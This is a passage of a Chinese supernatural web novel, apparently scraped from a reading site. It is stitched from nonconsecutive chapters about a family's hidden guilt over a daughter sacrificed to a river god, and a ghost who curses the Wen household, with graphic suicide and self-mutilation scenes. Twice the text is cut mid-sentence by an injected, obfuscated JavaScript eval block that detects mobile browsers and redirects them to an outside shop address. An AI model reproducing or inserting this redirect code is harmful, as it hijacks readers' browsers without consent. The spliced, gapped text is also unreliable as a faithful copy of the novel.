魏姻蹙起眉头思索起来,郑伯克段于鄢,魏父在她小的时候就将她抱在膝上讲过的,她记忆不算差,一下子就想起来了。 《左传》里说,当初郑庄公出生的时候,因难产惊吓了武姜,武姜因此很厌恶这个儿子,偏爱小儿子共叔段,后庄公继位,武姜一心与共叔段谋废庄公。 “庄公寤生,惊姜氏,故名寤生,武姜恶之,爱共叔段……”她顿了顿,立刻联想起来:“胡大田对胡大力一家很是照顾,有时很是委屈了阿狼他们几个。” “后来,武姜与共叔段谋废庄公。”陆魂语气加重。 魏姻:“武姜若是胡大田,那么共叔段是……” “是胡大力、刘氏、阿福。”他直言道,又遽地转过头凝着魏姻:“你说谁是庄公?” 魏姻脑子一灵,字字斟酌地将猜测说了出来:“……阿珠?” “最后庄公败了共叔段,而胡家的庄公,现在却死了。”陆魂垂下头,背过身去,目光沉沉地望向那扇窗,自顾自地呢喃着一句话:“武姜与共叔段谋废庄公,武姜、与、共叔段……那么当初,让阿珠嫁河伯,真的单是胡大田一个人的主意么?” 魏姻怔怔地望着他。 这时,有人往屋外进来。 是阿狼,阿狼捧着一个黑漆的白瓷骨瓮来到了门边,他目光从面色青白的陆魂脸上扫过一眼,昨晚这两个孩子半夜突然醒来帮阿珠,让陆魂不得不在他们面前现了身,此刻见着这孩子仍往他身上张望,她刚想解释这是她的表弟,却见阿狼已经毫不在意地挪了眼去。 “夫人,骨瓮阿爹已经置来了,阿爹问夫人可用得?” 魏姻望向陆魂。 陆魂朝她点头。 于是魏姻去接了过来。 阿狼送完东西,倒也不说别的,径自就转身出去了,只是临走前似乎注意到了他们拿了他的书,但他并不声张,冷峻的小脸上看不出一点情绪来。 魏姻第一次看到这么心思深沉的孩子,蹙眉道:“昨晚阿狼他们就想救阿珠,之后还会不会……要不要看着他们俩?” 在她说话时,陆魂却早已自顾自地从她的手里将骨瓮抱走了,他走到一旁,将骨瓮盖揭开,又沉默地拿起骨伞,他的手在伞身上慢慢一扫,就见着一堆黑气顺着他的手往骨瓮里面跑,应该就是阿珠的魂了,他又将骨伞恢复成破军剑,用剑锋在骨瓮上很是认真地一笔一画刻着什么字,刻完了字,跟着才将骨瓮盖上,魏姻还以为他没听到自己方才的话,正要再问他,他却在做完这一切后,好像方才听到魏姻的问话,轻声回道: “不用,我已用破军给阿珠的骨瓮下了封印,不到怨气化解的那天,别人放不出她。” 22. 第 22 章 胡大力家那一头,胡大力还没赶回去,只有刘氏与阿福在家,刘氏正做好了早饭与儿子阿福吃着,母子俩在饭桌上对坐,简单煮了锅糙米粥,一碟去年白萝卜皮阉的酱咸菜,不过,阿福的粥碗里倒是还另外舀了两块拇指般大小的半肥半瘦的肉,阿福馋巴巴盯着那两块肉,顾不得烫嘴,迫不及待地就将其一口扒进嘴里嚼了起来,肉太小了,才嚼了两口就一干二净地咽进肚子里,他于是很不满地朝母亲抱怨起来:“阿娘,这也太少了,我都没有尝过味来,你下次再多做些嘛!” “你这孩子。”刘氏拿着筷子的手直接一股脑朝他小脑门上用力戳去:“这才过旱多久,你能有两口肉吃都是我和你阿爹腆脸从你大伯那儿要过来的,原是阿狼他们几个前些时候饿坏了,买来给他们补身子的,你阿爹想吃上一口,我都不许他碰,全留给你,你倒还嫌少!嫌少以后就别吃了!” 阿福抱住被戳痛的脑袋,没好气地哼了哼,但为了以后还能继续吃上肉,也不敢跟刘氏顶嘴,猴急地扒完碗里的粥,便自己跑出去找人顽去了。 刘氏忘了像平常那样不耐其烦地叫他做功课,而是出神地坐在桌边想什么事,那刻意修得高挑起来的眉毛更是一挑一挑,心事重重。 阿福刚出去,后脚胡大力回来了,在饭桌上坐下,屁股还没落稳,便迫不及待地用手捏起碟里的酱菜,眼也不抬地朝刘氏喊道:“熬了一夜,可饿死我了,阿福他娘,给我也去盛碗粥来。” 刘氏没听到,出神想自己事去了。 胡大力拿手在她脸上晃晃:“阿福他娘,你怎么了这是?快去给我盛碗粥来倒是。” 刘氏被他吓一跳,猛地清醒,没好气地骂道:“你个死人急什么急,自己没得手脚么?自己去。” 胡大力没来由地被劈头盖脸乱骂一顿,讪讪摸了摸鼻子,“你这是又怎么了,好好的发什么气呢,我这几日可没有得罪你的。” 刘氏也知自己方才不是个理,便略缓了口气,去下面灶房给他拿大碗满满装了一碗粥回来,摆在他面前,又将那碟子萝卜皮酱菜往他眼底推了推。 “你怎么现在才回来?” “诶,大哥与我说了些话,说要阿珠送到普渡寺去超度,化了怨气,要我也去,我才不去呢!” “普渡寺?超度?” “可不是!” 胡大力老半天没见对面出声,扒着粥抬头,就见刘氏神情惶惶不安地发着呆,像魇着了,他想到刚一进门,刘氏便一直不太对劲,于是出声询问:“阿福他娘,你今儿到底怎么了,魂被叫走了似的?” 刘氏没应声,而是先起身将门给关上,才转回身,小心翼翼地拉着胡大力说道:“我今儿见阿狼阿玉那两个孩子很是不对。” “那又怎的了?阿狼这孩子不是从小就跟人不太一样么。”胡大力满不在乎地道。 “你真是茅坑脑袋,只有一脑屎尿!”刘氏骂过之后,脸色却渐渐发白起来:“我的意思是,阿狼阿玉那俩孩子自小就比阿珠阿虎精得多,尤其是那狼崽子,别看他二话不说的,其实一肚子的心眼,简直比大人还要明白,他昨夜和阿玉帮着阿珠……我觉着一点不像不晓得事的模样,倒像故意的,你说,你说……” 刘氏说到这里,却欲言又止地卡住了。 胡大力还是没明白,追问:“你到底要说什么?” “你说。”刘氏左右张望好几眼,她家住庄尾,邻里这个时候都去地里忙活了,没什么人,才压低声音,附在胡大力耳边,说道:“阿珠一直缠着阿福,该不会,该不会是知道了当初嫁河伯那事其实是……” 接下来的话,刘氏虽然没有明白说出来,但胡大力已经晓得了,他慢慢想起了刘氏口中的那些事,跟着他又自顾自摇摇头:“不可能,这事只你我还有大哥晓得,大哥答应过我们,绝不会说出去的。” “怎么不会?”刘氏道:“大哥平日虽是个不多嘴的,可谁知道哪天醉了酒或睡得糊涂,一个不小心就将那事给透了出去,让阿狼他们听了去呢?若是又再让阿珠知道了……” 胡大力让刘氏这一番说得也不觉有些心惊胆跳。 刘氏同样焦虑不安地在屋子里直踱步。 胡大力本也畏怯得很,过了一会儿,不知又忽然想到了什么,很快镇定了下来,毫不在意地笑道:“我看你还是多虑了,你想想,若是阿珠知道了,岂不是早来把咱们家阿福给害了?又怎么会老跑回家去,吓唬大哥,缠阿狼阿玉阿虎他们呢?我看是她死得惨心有不甘,才带着连累了我们阿福。” 刘氏恍惚着,“真是如此么?” 胡大力笑着摇摇头,“若不是,不说阿福了,你觉着我们两个至今还能安然无事?” 说完他就继续埋头大口喝起了粥来,喝的响响的,刘氏看他吃相太粗,吵得心里烦,便别过了脸去,虽然胡大力这么说了,刘氏仍还是觉得心上吊了个秤砣似的,重重的,压得她很不心安。 这会儿胡大力吃饱了,要出去,刘氏连忙叫住他:“我还是不放心,如今阿珠成了厉鬼,那些事真若让她知道了,我们一家还有命活么?依我看——” 胡大力问:“你想做什么?” 刘氏眼里惶惑被压下,不答反问:“阿珠如今不是被收住了,要送到寺里超度么?” 胡大力眼皮一跳,继而看到她脸上浮出一片狠辣之色:“依我看,咱们干脆一不做二不休,灭得她魂飞魄散,才能将心放回肚子里去!” 胡大力听到她这话吓了一跳,毕竟念着是自己的亲侄女,不太忍心地道:“你这也未免太毒了些,阿珠都被收了,你还去害她做什么?咱实在犯不着再伤天害理罢!你也不怕雷劈了你!” “劈我?”刘氏冷笑不迭:“你现在倒是想起了那是你侄女了,当初可别忘了,若不是你引的,也不至于到这一步,可别给老娘装菩萨了!要真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615276|187719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有雷劈来,第一个怕就是先要劈死你呢!我怕什么哦?” 胡大力被她说的心虚地再挤不出一句话来,好半晌,他又十分不满地小声哼哼一声:“说得好像全是我得了好处一样,你可是拿了大头的……” “你再说?”刘氏撑着粗大的腰,怒目横眉,仿佛他再说上一句,便会扑上去撕碎了他。 胡大力畏惧地往后退退。 刘氏这才变了脸,收了怒,作出一副苦口婆心的模样,“我这也不是没有法子么?你想想,万一阿珠没收住,跑了出来呢?又让她晓得呢?这都是说不准的事,你敢拿自己的命去赌么?” 胡大力闻言,凝重起来,一时没了主意。 “你便听我的。”刘氏怂恿道:“晚些时候趁着大哥他们从寺里回去,就暗暗将阿珠拿回来,再去找个高人将她……” 胡大力起初还认真思索着,听到这里,立刻又缩起了头,于是赶紧装模作样地摆摆手,一面不在意地说,一面往外走:“请高人?我们吃饭的钱都没有,哪有这个钱?你爱怎么着怎么着吧,我是不晓得怎么做的,也管不着这许多了,唉。” 刘氏冷笑地望着他离开,心里暗暗骂了一句。 想到儿子阿福,刘氏干脆狠下心来,将咬一牙。 他不敢去,她自己去就是! 刘氏有了主意,将屋门掩上,又去找到阿福,交代他自己玩着,饿了锅里还留了早上剩的粥,便独自朝普渡寺庙方向而去…… - 普渡寺。 荒州容易旱,因此是信奉极杂乱的,不但有河伯、什么寺啊、庙啊、观啊、庵啊一大堆,林林总总加在一起至少有百来个,而荒州城里便有一个普渡寺,这处普渡寺修得还算规整,里面有个德高年百的老主持,带着一堆小和尚修行,附近一些富户常年都会按时拨捐出钱来,让这些道士和尚诵经,逢上大日子里还会设坛讲法,临近几个庄户人家平时都会来此上香祈福,很是热闹。 今日不是什么大日子,寺里倒还没什么人。 只有老态龙钟的主持日常带着小和尚们盘坐在大殿里做功课,静穆诵着《心经》,魏姻和胡家人走进来的时候,正听到“无苦集灭道,无智亦无得”一句。 阿珠已经被陆魂放进了胡大田置来的一个黑漆白瓷骨瓮里,由胡大田捧着送到大殿下面的佛前座下,专门供奉的一个地方。 有小沙弥捧来一盏海灯,连同骨瓮一起供着。 刘氏来寺中时,刚好已经点上了灯,胡大田看她来了还诧异了下。 刘氏说:“到底是侄女,怎么着也要来看一眼。” 胡大田听了这话一点没往别的地方想,只觉得刘氏胡大力夫妇到底有点心,倒很是高兴了一下。 阿狼和阿玉偷偷觑了对方一眼,却皱起眉头。 魏姻站在这两个孩子身后,在他们两个眉来眼去的时候,也跟着打量他们两个一眼。 24. 第 24 章 阿珠终于被收,胡大力心里的一块石头总算落了地,于是在外头放开怀大吃了一顿酒,晌午才歪歪跌跌摸回家里倒头瘫下,傍晚时,阿福玩回来,找不到刘氏,饿的很,就拉着醉倒的胡大力要饭吃,被胡大力醉醺醺骂开了,只得自个去灶下就着今早剩下的半碗冷粥,扒拉干净,半饿着肚子,瘪着嘴回自己屋里抱枕子睡了。 阿狼带着魏姻他们过来的时候,惊醒了阿福,阿福揉揉眼睛,见是他们,跑出来死死抱住阿狼的腿,指使道:“阿狼阿玉,我饿了,你们快去给我做饭吃!” 胡大田已经习惯阿福小小年纪没有礼数,并不当回事,还想好声好气哄着侄子先去玩,阿狼急着找骨瓮,看他黏上来不肯松手,不再隐忍,直接冷笑一声:“你再不走开,别怪我踹你。” 阿福吓住,胡大田听儿子这样说,下意识皱起眉头像往常那样训他:“阿狼,你怎能这样跟阿福说话?他才几岁,不晓得什么。” 阿狼笑了,“阿虎比他还小,怎么就不见阿虎这样?” 胡大田顿时被噎住了,剩下那些要阿狼对堂弟和睦的话一时吐不出来了,他头一次陌生地瞪着这个二儿子,这孩子却对他视若无睹,只冷冷睨阿福,没办法,胡大田最后只能自个哄着阿福先回去睡。 阿福自然不高兴,但瞅着阿狼的脸色不对,刘氏没有在家,胡大力又醉得不省人事,夹起尾巴,不敢再闹。 胡大田把胡大力从床上叫起来,他仍没有醒酒,还双眼朦胧得很,看到阿狼立在床前,便笑呵呵地搂住了他的肩膀,虚拿了个酒杯要灌他。 “这不是阿狼么?你怎么来了?快来跟二叔喝一杯。” 胡大田见胡大力醉成这样,一把推开他,恨铁不成钢:“喝什么喝?快给我醒醒。” 胡大力不成器,平时总挨着胡大田的训斥,对于大哥还是有几分畏惧的,一下子被吓醒了酒,看到大家都围在他屋里,勾直了眼。 阿玉等不及,先问道:“二叔,二婶人呢?” 胡大力:“我怎么知道。” 阿狼拧眉:“二婶去了哪里?” “我哪晓得她啊。” 胡大力说完,人微微缓过神,“你们找她干什么?” 阿狼:“阿姐的骨瓮在普渡寺不见了。” 胡大力方才还不在意,当听到这句话,忽然想起了今早上刘氏说的那番话,脸色微妙起来。 阿狼见他这样,立刻了然,冷笑起来:“二叔,是不是二婶把骨瓮拿走了?” 阿玉也明白了,一把扑上前,小手用力拉住胡大力衣角:“二叔,你们拿阿姐的骨瓮想做什么!” 胡大田没想到骨瓮真是被刘氏给拿走了,他不解地问:“大力,你跟弟妇拿阿珠的骨瓮做什么?你们想干什么?到底是怎么一回事,你快说呀!” 阿狼回嘲:“阿爹,你难道不清楚么?” “我清楚什么?”胡大田反问,莫名其妙地朝胡大力开口:“大力,弟妇到底要做什么?你们难不成想要给阿珠换个寺供着?我晓得你们也是心疼阿珠,但好歹提前与我们说一声才是。” 阿狼闻言,终于忍不住冷笑,他已经懒得再跟胡大田多说,转而冷眼朝胡大力道:“你最好说出来,否则,若是阿姐有事,我绝不放过你。” 胡大力看这孩子嘴上说着,眼里却全是凶光,他立时记起阿狼十岁那年和他去山上打柴,遇见了一头成年狼,他向来是个软弱的,根本顾不得阿狼,直接吓得腿软跑走了,后来领着人去山上一看,准备给阿狼收尸,谁想到这半大孩子不但聪明,连英勇都非常人,竟然独自拎着一把砍柴刀借着一堆灌木,硬是将那头成年狼给杀死了。 记得他们当时上去的时候,这孩子被狼咬得有几处皮肉都没了,但他却不哭不皱眉头,浑身是血,以为狼还没死透,还在那冷眼狠劲砍着。 那场景把胡大力的腿唬得比看到狼还软。 “我我我说就是了!”胡大力怕极了,顾不得管刘氏,赶紧坦白:“你二婶今早说怕阿珠跑出来再害阿福,就想找高人给她……没想到她真去拿了骨瓮,其他的我真不晓得了,她是自己去的。” 阿玉闻言,早已哭了:“阿姐!” 胡大田不敢置信,面色终于沉了下来:“阿珠不是都已经被收了么,弟妇怎么还要这样对她?!” 魏姻听到这里,之前早有疑虑,但没有确定,此刻心下彻底明白了,于是朝胡大田看过去:“胡老伯,你弟弟夫妇如此做贼心虚,赶尽杀绝,阿珠当初被你嫁给河伯求雨这事,不单是你一人,是不是还跟你弟弟夫妇有关?” 胡大田惊讶地掉转过头来,面上现出意外不已的神情。 一丝真相终于浮出水面。 那一边,阿玉满脸悲伤,胡大力又心虚又紧张地赶紧垂下麻子脸,冷冷立在胡大田身后的阿狼却冷笑一声,他抬头看看阿爹胡大田和二叔胡大力,沉冷的小脸上都是讥笑。 “夫人,你说的没错,我来告诉你罢。” 他抬腿一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615278|187719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迈,走到了他父亲的身前来。 他才十二岁,个头比他的父亲要矮上很多,身形也要单薄很多,可这半大孩子异常坚毅从容。 “今年旱灾比往年都厉害,从入春以来便有些兆头了,后来到了最严重的地步,有些庄子旱得已有人饿死渴死,我家里有四个孩子,加上阿爹就是五口人了,阿爹肯卖力气,我们又都帮着他做点事,虽说人口多些,但在这样的旱年,多少也能咬牙撑下来,可阿爹看不得二叔一家不好,要帮衬二叔一家,二叔二婶都是自己地里庄稼草顾不得上锄,一心惦记着旁人家庄稼长得好的人。”阿狼冷笑了一声,继续道:“贴补也就罢了,我和阿姐他们都习惯了,可有一天,阿爹从河伯庙里回来,说有大户人家出钱想要阿姐嫁给河伯求雨,阿姐她心疼我们天天挨饿,熬不住,就主动答应了……可阿姐死后!我和阿玉才发现,阿爹他们欺瞒了阿姐! 胡大田身子一震。 阿狼则继续说道:“实际上,其实是因为阿福他病了,急着要钱医治,二叔二婶便怂恿阿爹将阿姐嫁给河伯换银子,阿爹他,拗不过他们求,竟然就荒唐答应了…… 在阿狼说到最后半段,胡大田猛抬起猩红眼睛,急急解释:“不是这样,不是的!我没有骗阿珠!当初阿福没有病,我们也要断粮了,那个时候,我实在没有法子了,阿珠嫁给河伯,到底我们能得上几两银子,不然,不说阿福了,我们谁都活不了!阿珠这样,难道我这个做爹的难道就不痛心?!难道就不痛么?!如若可以,我宁愿自己去替阿珠!阿狼你个小娃子,你懂什么!你懂个什么东西!” 阿狼听笑了,冷冷笑了,他一改往日沉稳,再也压制不住脾气,朝胡大田嘶吼起来。 “你当初若不一昧将粮食全贴补给二叔一家,我们家又怎么会熬不下去呢?” 胡大田面上一痛,再无说辞,他死死绷起一张深褐色的脸,嘴唇因激动而干裂得渗出血丝,但他毫无知觉,忽然的,不知想到了什么,胡大田终于找到了话,同样厉声质问阿狼:“你这是什么没有良心的话啊?!什么话?!他们难道是外人,不是你的亲叔叔婶婶?难道你要眼看着自己的叔叔婶婶饿死不成?!你个混账东西!” 话音方落,清脆的一巴掌已经“啪”地响在阿狼小脸上。 几个人当场凝住。 胡大田气得胸脯剧烈起伏。 “二哥!” 阿玉在呆愣了那么片刻,猛地泪流满面,她扑上来,一把推开胡大田,拉起哥哥。 50-60 第51章 见绿荷突然变得奇奇怪怪,不再缠着陆魂一声不吭走了,魏姻感到奇怪,拉了拉陆魂袖子,陆魂没有躲开,任由她将他的袖子整个攥在手里,他淡淡凝她。 魏姻问:“绿荷她这是怎么了?” “我让她神智变正常了一下。”陆魂解释道:“只有片刻功夫。” 话音落,只见绿荷在进屋后,又变回了那个一无所知的傻姑娘,嚷嚷着叫王嬷嬷要桂花糖吃。 魏姻思忖着,绿荷那片刻清醒的时候,脑子里在想什么呢? 不得而知了。 他们从新房这边离开,陆魂停下了脚步,望向园子深处,他说,“我察觉到文轩现身了,他就在园子里头。” “你握着这个。”陆魂把方巾后的一条飘带递给她,“跟紧些我。” 魏姻忙点点头,紧紧伸手握住。 两个人朝着园子而去,这个宅子如今虽到处都有灯火,但园子里头花木杂多,地方又大又隐蔽,极易藏人,文家奴仆众多,文老太爷怕下人夜里不安分,跑进园子里做下些黑灯瞎火的事,因此园子一到傍晚酉刻,就将园子给落了钥,不许任何人进去,里头自然没有点灯。 陆魂从别处提了一盏灯笼,走在前头,魏姻跟在他的身后。 园子安安静静,黑灯瞎火,不见任何身影,再往深走一些,远远地看到了第一次见到的那座湖心亭了,那天是文轩和绿荷成婚的日子,当时亭子里头摆了几桌自己家的席面,文竹和文琴就坐在倚湖边的位置说起文轩和绿荷锦年的事。 魏姻正想着,再一抬头看,却见上一刻还漆漆黑黑,什么人都没有冷清亭子内,忽然亮起了一盏灯火。 她张了张口,陆魂显然也看见了,他脚步顿了顿,跟着,提起灯笼继续往前。 魏姻攥住他的飘带,亦步亦趋。 走近了,湖心亭的那盏灯火越发明亮起来,将坐在桌前的一个身影照亮,那是文轩,这个青年面对着他们坐在桌案前,手里拿着短短一截枯枝在小心挑着油灯里的火苗,火苗在他有一下没一下的轻挑下,跳来跳去个不停。 他实在是个容貌出众的青年,即使面庞呈现出死白的颜色,整个神情看起来忧愁沮丧,可眉目仍漂亮得很。 不知他怎会长得如此好看,而文朗文竹文琴等人,却都比不上他的样貌。 更何况,他常年一副忧闷面容,更觉几分美人病态。 魏姻脑子里想起了他对锦年说的话。 他说,他不仅脸好看,身子也…… 凭着他这副样貌,确实够得上说这些话。 但魏姻想到,这是变成文轩的陆魂说的,又不敢再想下去了,只觉有些冒犯,毕竟陆魂年岁太小了些,以前在魏家学堂里,她一直将他当成小辈看。 “你们来了么。”文轩轻轻抬起了头,目光并未看向陆魂,而是直接落在了魏姻脸上,眼神透过她,在看另外一个人。 魏姻被看得浑身不自在。 陆魂将高瘦身子挡在魏姻身前,提起灯笼继续朝亭子里头走去。 文轩则恍恍惚惚伸出了一只手掌,远远地虚挡在魏姻的眉心朱痣上。 “魏姻,你长得和锦年真像呀,若是没了这颗朱痣,简直和锦年是一个人了。” “请您让我们出去。” 陆魂静静等他这句话说完,这才亮出了破军剑。 他不再克制自己的聻气,一团团黑气从他的身上往外开始蔓延,而破军剑,似乎也因为他的化聻,变得更加杀气重重。 “孩子,不要着急。”文轩毫不在意,依旧凝住魏姻,“锦年,你已经在这里看了这么多当年的事,难道还没有想起来么?” 魏姻皱起眉头,“我不是锦年。” “不,你是她。” 文轩执着地道:“你和她多像,你身上还有她的气息,若x不是她,怎么可能会有?” 魏姻不知道他在说什么,并不想听。 文轩看她这个模样,面容越发悲哀,仿佛在指责魏姻,你怎么能想不起来呢?怎么能连他们之间发生种种都忘记了呢? 他双手撑住桌案,眼含着泪望向烛火。 “当年,我和锦年最终还是背着祖父在一起了,她……有了我的身孕,然而这事到底被祖父知晓,我为了保住她和我们的孩子,答应了祖父的条件,和……和绿荷再要一个孩子,而锦年会在山中别院生下孩子后可以离开文家,得到自由,我想,锦年从小在文家长大,姑父姑姑早不在了,她在文家一直极小心,以后还要受祖父摆布婚事,若能离开倒也不错,即使我们要分开,我也不在意了,只要锦年他们都能过得好些,我一个人埋在这个宅子里,也再无所谓了。” 文轩的眼睛逐渐猩红,整个人都在发抖。 “我和祖父都已经如此妥协了,可他,可他竟然在欺骗我,他送锦年去的山中别院那边有很多狼,害得她和孩子都死在了狼口!我过去时,她什么都不剩下了,只有地上的一滩血,她活活被狼群给分吃了!” 魏姻听得发冷。 原来锦年,是这样死掉的。 文老太爷,竟然让自己的外孙女死得这么惨! 文轩想起往事,情绪显然要比谁都激烈,他一把伸手,硬生生覆在了烛火上。 “祖父他丧心病狂,他将我们这些人一个个害成这样,他不配是我们的祖父!当初二弟离开前就与我说过,祖父心狠手辣,丧心病狂,不能与他妥协的,让我尽早带着锦年离开文家,可我不敢,我没有二弟的勇气,我在文家习惯了,离开文家后,我不知道该怎么活,且祖父养育我一场,我没法放下这个家,即使这个家再不好,我只能一次次用妥协换得祖父一点怜悯,岂知最后……” 文轩正说着,踏踏脚步声此时从亭子外边传过来。 只见是几个丫鬟婆子打灯匆匆忙忙跑过来,她们脸上都带着哭丧。 她们像是完全看不到文轩一样,只对着陆魂与魏姻说道:“大公子,表小姐,不好了,二房三房都出事了,今儿傍晚先是祠堂那边传出了三姑娘的消息,说三姑娘晚上精神正常了许多,正在好好用饭呢,谁知等下人一出去,三姑娘便用摔碎的碗片割腕了,大家急急忙忙跑去救,还是去晚了一步,谁知,三房里的四姑娘听说了自己要代替三姑娘出嫁,去哭求了老太爷一番没用后,便转身跳进了老太爷院子里的枯井里,等人捞出来后,也已经没了声息。” 一下子跳出来的连串消息,弄得魏姻太猝不及防。 文竹文琴两个小姑娘,就这么没了? 一个婆子又道:“大公子,表小姐,今晚二老爷二夫人和三老爷三夫人一同赴宴去了,如今三姑娘四姑娘的尸首都还停在原地没人敢动,小孙少爷又病得厉害,老太爷顾着找人给小孙少爷看病,没空理会三姑娘四姑娘,大公子看怎么着?” 都这个时候了,这文老太爷,竟然都毫不在意? 完全不将两个孙女当人看。 园子里离祠堂近,魏姻和陆魂先是来到了祠堂里,祠堂外头围住了许多探头探脑往里边看的下人,纷纷在那小声议论着今夜里府中连死两个姑娘的事。 祠堂深处,就上次陆魂被鞭打的地方,安安静静躺着文竹的尸首,怕吓到人,已经让下人用白布盖住了身体,然而那白布下一块地方已然被浸得猩红猩红,一旁,是碎裂的瓷片。 魏姻一看到这么多血,心头下意识一颤,母亲当年这样死的一幕浮现心上,她下意识将脸往陆魂身上转了转。 冷静了许久,才敢重新去看。 有看文竹和魏姻关系好的下人,怜悯问:“表小姐,可要看三姑娘一眼?” 魏姻迟疑一下,最终还是点了点头。 问话的下人立刻揭开了文竹脸上的白布,刚死没太久,除了面容有些青白外,还像活着的时候差不多。 魏姻想到,文竹和文琴那次在湖心亭席面上的画面。 文轩也跟了来,他只远远站在门口静静往文琴身上凝视。 但却能,感受到他身上无声的悲恸。 这是他早已经历过的一幕。 从文竹这里离开,又去文老太爷院子里看了文琴,文琴这里,围上来的人同样不少,这深宅大院里,是少有这么多热闹看的,更别说,这里可是文老太爷的院子。 四姑娘竟然选择死在了自己祖父这里,让人感到不寒而栗。 文琴这姑娘是跳井而死的,身上全是些被磕碰的伤痕,而鞋子脚上只穿了一只,还有一只并不知道到底丢在了哪里。 前两日,她还替文竹担忧。 却不成想,立马轮到了她。 文轩再次跟了过来。 他看了一眼后,便又静静将目光移开了去,朝向院子外边,好像在等待着什么。 陆魂敏感察觉到了,“他还在等什么?” 陆魂的话音刚从嘴里出来,几个哭丧得更厉害的人横冲直撞,不顾一切冲开人群跑了进来。 他们一进来后,就径自在陆魂面前猛地跪下。 “大公子,你快回去看看吧,小孙少爷要不行了!” 另外一个人急急解释道:“老太爷找了上次给五公子看病的那个老进士大人,他说小孙少爷只是寻常着了凉发热而已,就给小孙少爷开了一副药,小孙少爷方才夜里喝完后,便忽的开始浑身抽搐起来,嘴里还直往外冒白沫,眼白也快翻上去了,怕是不太行了,老太爷彻底慌了神,请大公子赶紧回去看看!” 第52章 魏姻睁了睁眼,转向文轩,文轩不喜不悲站立在这几个报信人身后,平平静静,听着这些话,即使说的是他的亲生孩子。 婴孩躺在绿荷的怀里,身上裹着厚实温暖的襁褓,上面还有一些奶烘烘的余温在,小嘴却发着白,小嫩脸青青紫紫,孩子眼瞳大大睁着还在看这个世界,然而已经没了呼吸。 绿荷这个傻姑娘,此刻也感受到什么痛苦,竟不再像平日那样没心没肺笑笑嚷嚷,抱着不动的儿子,呆呆坐。 文家老太爷老脸悲痛万分,坐在上首亦是一言不发,只有手在微微发着抖,而他的身边,另外还坐着一个神色不太自然的老人,一身儒雅官绅打扮,老态龙钟不失几分威严。 这就是为孩子看病的那位老进士,退官回乡后,据他自己称这几年对医道略有研究。 文老太爷仍旧是将陆魂当成了长孙文轩,他望一眼没了声息的孩子,软声道:“你快去看那孩子一眼吧,才这样大的年纪就没了,实在可怜,我这心痛得很,不敢再看了。” 陆魂面无情绪,站着并不动,将目光往旁边老进士身上淡淡扫过。 老进士面容微僵。 文老太爷没了重孙子,心里自然是难受不太高兴的,可见着老友如此模样,怕文轩恼怒,反而替老友说道:“文轩呀,这不能怪你世伯他,他即使对医理没有几年,但到底是功名出身,怎么可能会像那些江湖庸医用错药了呢?一定是孩子没有那个福气,才小小年纪就去了……” 旁边的那位老进士,闻听此言,立即有了台阶下,忙道:“是了是了,我自然是不会下错药的,难怪我之前就觉着这孩子底子有些弱,想来是个不太能养得大的。” 陆魂无声无息地听下去。 “文轩,你别伤心了,虽然如此,但不能将你自己的身子伤心坏了,快去准备棺木吧,让孩子落土为安。” 文老太爷对老友的话很是认同地点点头,他打心眼里不觉得老友的医术会有问题。 难不成,一个学识深厚的老进士,还比不得那些个小郎中么? 说到这里,文老太爷这才想起来了那两个孙女,皱眉问跟来的下人,“三女和四女怎么样了?救下来没有?” 下人回摇头。 文老太爷叹口气,接着又道:“去叫二房三房回来,送出去葬了吧,别太惊动,要出阁前死的传出去不好听。” “是呢是呢。”那老进士说道:“这个年纪就没了,一直放在家里不吉利,要赶紧送出去,文轩,你也不要太难过了,你还年轻,和绿x荷这孩子以后有的是子嗣,待我给你开些药好好将身子调理调理,如今你看着怎的如此消瘦。” 见绿荷还抱着孩子不肯放,文老太爷怕她本就傻,别又被夭折孩子着了心,立即让下人将其抱走。 没想到绿荷却怎么也不肯放开孩子。 哭着咬下人的手。 文老太爷赶紧又给另外几个下人使了个眼色,于是几人一同轰上去抢,绿荷被抢得直大哭不已,整座宅子几乎都能闻见绿荷的哭声了。 而与此同时,祠堂、文老太爷院中,都不约而同响起了下人哭丧文竹文琴的声音。 哀泣声响成一片。 文老太爷和老进士则毫不动容地安坐一旁。 而就这个时候,一直平静望着这些的文轩,一副再也无法忍受荒唐的模样,夺门而出。 魏姻和陆魂连忙跟上去。 他们远远地跟在身后,文轩跌跌撞撞地走在前头,他手里不知从哪里变出了一把匕首,他一边仰天哭着笑,一边用匕首一刀一刀剐下自己身上的皮肉。 他毫无痛觉似的。 一刀又一刀。 每走几步,他走过的路上就掉下来一片小小的血肉,他似是完全疯了一样,在整个宅子里一面走,一面苦笑,一面剜自己身上血肉。 文轩是穿了件白袍子的,血和白交织在一起,像白花蕊里的一点点红。 所经之处,全落下了他的血肉。 整座宅子,都有他的血肉。 魏姻与陆魂跟在身后,并没有看到他脸上神情,但听着他那疯癫起来的苦笑声,以及一路剜血肉的做派,魏姻已经感到毛骨悚然,浑身的鸡皮疙瘩都立了起来。 最后,文轩已经站不起来,他爬在了地上。 再抬头,面前就是文家漆黑不见底的深深祠堂。 文轩爬在那,对着祠堂将匕首用力剜向自己的心脏。 继而,他凄厉的声音响起在祠堂内。 “我文轩!!” “愿自己剜尽一身血肉,以诅咒文家,断子绝孙,家运败落,从此世上再无荒州文家!!!” 